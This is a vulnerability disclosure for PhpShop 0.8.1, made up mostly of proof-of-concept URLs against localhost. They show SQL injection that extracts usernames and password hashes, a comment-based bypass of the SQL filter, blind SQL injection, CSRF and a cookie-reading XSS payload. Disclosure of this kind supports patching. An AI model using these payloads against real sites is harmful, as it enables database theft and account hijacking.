**************************************************************
Application:PhpShop
Version affected: 0.8.1
Website:http://www.phpshop.org/
Discovered By: Andrea Fabrizi
Email:andrea.fabrizi (at) gmail (dot) com [email concealed]
Web:http://www.andreafabrizi.it
Vuln:Multiple Vulnerabilities
**************************************************************
### SQL INJECTION
http://localhost/phpshop-0.8.1/?page=admin/function_list&module_id=11111
1'
union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
aaa
http://localhost/phpshop-0.8.1/?page=shop/flypage&product_id=1011'/**/un
ion/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,us
ername/**/from/**/auth_user_md5
-- aaa
http://localhost/phpshop-0.8.1/?page=vendor/vendor_form&vendor_id=1' and '1'='1
http://localhost/phpshop-0.8.1/?page=admin/module_form&module_id=1' and '1'='1
http://localhost/phpshop-0.8.1/?page=admin/user_form&user_id=7322f75cc7b
a16db1799fd8d25dbcde4'
and '1'='1
http://localhost/phpshop-0.8.1/?page=vendor/vendor_category_form&vendor_
category_id=6'
and '1'='1
http://localhost/phpshop-0.8.1/?page=store/user_form&user_id=c88ce1c0ad3
65513d6fe085a8aacaebc'
and '1'='1
http://localhost/phpshop-0.8.1/?page=store/payment_method_form&payment_m
ethod_id=1'
and '1'='1
http://localhost/phpshop-0.8.1/?page=tax/tax_form&tax_rate_id=2' and '1'='1
...and many others...
The SQL Injection security checkcan be bypassed replacing spaces with
comments (/**/)
###BLIND SQL INJECTION
http://localhost/phpshop-0.8.1/?page=shop/browse&category=aaa' and 1=1 -- aaa
### CSRF
http://localhost/phpshop-0.8.1/?page=shop/cart&func=cartAdd&product_id=3
21&
...and many others...
### XSS
http://localhost/phpshop-0.8.1/?page=order/order_print&order_id=1"><scri
pt>alert(document.cookie);</script>
...and many others...
Polish
English